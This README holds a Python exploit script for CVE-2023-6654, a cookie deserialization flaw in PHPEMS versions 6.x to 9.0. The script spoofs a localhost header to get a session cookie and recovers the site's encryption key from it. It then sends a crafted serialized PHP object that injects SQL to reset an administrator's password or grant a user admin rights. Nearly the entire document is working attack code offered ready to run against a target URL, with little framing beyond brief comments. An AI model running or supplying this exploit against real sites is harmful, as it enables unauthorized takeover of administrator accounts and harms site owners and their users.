README.md
Rendering markdown...
"""
CVE-2023-6654 exp python脚本
漏洞类型:PHPEMS Cookie 反序列化漏洞, V: 6.x/7.x/8.x/9.0
data: 2024-02-23
author: 清风明月
"""
import argparse
import re
import sys
from hashlib import md5
from urllib.parse import unquote
import requests
filename = sys.argv[0]
# 通过截取的32位cookie值和32位原始值还原出key
def reverse(cookie, s1):
k = ""
for i in range(32):
k += chr(cookie[i] - ord(s1[i]))
return k
# 自定义解码,解决unquote解码后使用ord获取的值异常的问题
def custom_decode(input_string):
r = []
i = 0
while i < len(input_string):
if input_string[i] == '%' and i + 2 < len(input_string):
# 如果是URL编码的部分,解码并加入列表
hex_value = input_string[i + 1:i + 3]
r.append(int(hex_value, 16))
i += 3
else:
# 如果是非URL编码的字符,直接获取ASCII值
r.append(ord(input_string[i]))
i += 1
return r
def encode(sess, k):
r = ""
for i in range(len(sess)):
r += hex(ord(sess[i]) + ord(k[i % 32])).replace("0x", "%").upper()
r = r.replace("%", "%25")
return r
def getKey(url):
headers = {
"X-Forwarded-For": "127.0.0.1",
}
req = requests.get(url, headers=headers)
pattern = r'exam_currentuser=([^;]+)'
match = re.search(pattern, req.headers["Set-Cookie"])
s = ':"sessionip";s:9:"127.0.0.1";s:1' # 取的是第三组32位长的值
if match:
t = custom_decode(unquote(match.group(1)))
k = reverse(t[64: 96], s)
print(f"[+] Found! key is: {k}", end="\n\n")
return k
else:
print("[-] Sorry, Key is not found!", end="\n\n")
return None
def exploit(url, key, user, passwd, option):
sql = f'x2_user set userpassword="{md5(passwd.encode("utf-8")).digest().hex()}" where username="{user}";#--'
if option == 1:
sql = f'x2_user set usergroupid=1 where username="{user}";#--'
s = 'a:2:{s:9:"sessionid";s:9:"123123123";i:0;O:14:"PHPEMS\session":3:{s:9:"sessionid";s:7:"1111111";s:6:"' \
'pdosql";O:13:"PHPEMS\pdosql":2:{s:17:"' + chr(0) + 'PHPEMS\pdosql' + chr(0) + 'db";O:12:"PHPEMS\pepdo"' \
+ ':1:{s:20:"' + chr(0) + 'PHPEMS\pepdo' + chr(0) + 'linkid";i:0;}s:8:"tablepre";s:' + str(len(sql)) + f':"' \
+ sql + '";}s:2:"db";O:12:"PHPEMS\pepdo":1:{s:20:"' + chr(0) + 'PHPEMS\pepdo' + chr(0) + 'linkid";i:0;}}}'
print(f"[+] serialize date is: {s}", end="\n\n")
payload = encode(s, key)
headers = {
"X-Forwarded-For": "127.0.0.1",
"Cookie": f"exam_currentuser={payload}"
}
print(f"[+] urlencode payload is: {payload}", end="\n\n")
requests.get(url, headers=headers)
print("[+] Success!", end="\n\n")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PHPEMS CVE-2023-6654 exp")
parser.add_argument("-u", "--url", required=True, help="Target PHPEMS URL; Example: http://ip:port.", type=str)
parser.add_argument("-a", "--account", default="peadmin", help="PHPEMS admin account, default is pedamin.",
type=str)
parser.add_argument("-p", "--passwd", default="123456", help="PHPEMS admin account's password, default is 123456.",
type=str)
parser.add_argument("-o", "--option", default=0, type=int,
help="Options, 0 is change account password, 1 is change account roles, detault is 0")
args = parser.parse_args()
key = getKey(args.url)
assert key is not None
exploit(args.url, key, args.account, args.passwd, args.option)